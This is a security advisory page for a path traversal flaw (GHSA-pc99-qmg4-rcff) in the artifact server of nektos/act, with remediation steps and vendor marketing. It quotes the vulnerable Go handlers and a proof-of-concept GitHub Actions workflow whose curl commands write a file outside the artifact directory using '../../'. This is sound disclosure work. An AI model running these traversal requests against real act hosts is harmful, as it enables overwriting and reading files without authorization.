GHSA-pc99-qmg4-rcff
HIGHGHSA-pc99-qmg4-rcff is a high-severity (CVSS 8.8) Unrestricted File Upload vulnerability in github.com/nektos/act. 2 public exploit references exist, so weaponization risk is real. O3 Security confirms whether GHSA-pc99-qmg4-rcff is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
act vulnerable to arbitrary file upload in artifact server
Blast Radius
github.com/nektos/actReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Impact
The artifact server that stores artifacts from Github Action runs does not sanitize path inputs. This allows an attacker to download and overwrite arbitrary files on the host from a Github Action. This issue may lead to privilege escalation.
Issue 1: Arbitrary file upload in artifact server (GHSL-2023-004)
The /upload endpoint is vulnerable to path traversal as filepath is user controlled, and ultimately flows into os.Mkdir and os.Open.
router.PUT("/upload/:runId", func(w http.ResponseWriter, req *http.Request, params httprouter.Params) {
itemPath := req.URL.Query().Get("itemPath")
runID := params.ByName("runId")
if req.Header.Get("Content-Encoding") == "gzip" {
itemPath += gzipExtension
}
filePath := fmt.Sprintf("%s/%s", runID, itemPath)
Issue 2: Arbitrary file download in artifact server (GHSL-2023-004)
The /artifact endpoint is vulnerable to path traversal as the path is variable is user controlled, and the specified file is ultimately returned by the server.
router.GET("/artifact/*path", func(w http.ResponseWriter, req *http.Request, params httprouter.Params) {
path := params.ByName("path")[1:]
file, err := fsys.Open(path)
Proof of Concept
Below I have written a Github Action that will upload secret.txt into the folder above the specified artifact directory. The first call to curl will create the directory named 1 if it does not already exist, and the second call to curl will upload the secret.txt file to the directory above the specified artifact directory.
When testing this POC, the --artifact-server-path parameter must be passed to act in order to enable the artifact server.
Replace yourIPandPort with the IP and port of the server. An attacker can enumerate /proc/net/tcp in order to find the artifact server IP and port, but this is out of the scope of this report. Please let me know if you would like a copy of this script.
name: CI
on: push
jobs:
test:
runs-on: ubuntu-latest
steps:
- run: echo "Here are some secrets" > secret.txt
- run: curl http://<yourIPandPort>/upload/1?itemPath=secret.txt --upload-file secret.txt
- run: curl http://<yourIPandPort>/upload/1?itemPath=../../secret.txt --upload-file secret.txt
Remediation
- During implementation of Open and OpenAtEnd for FS, please ensure to use ValidPath() to check against path traversal. See more here: https://pkg.go.dev/io/fs#FS
- Clean the user-provided paths manually
Patches
Version 0.2.40 contains a patch.
Workarounds
Avoid use of artifact server with --artifact-server-path
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/nektos/act | all versions | 0.2.40 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/nektos/act. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/nektos/act to 0.2.40 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-pc99-qmg4-rcff is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-pc99-qmg4-rcff is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-pc99-qmg4-rcff. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-pc99-qmg4-rcff in your dependencies?
O3 detects GHSA-pc99-qmg4-rcff across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.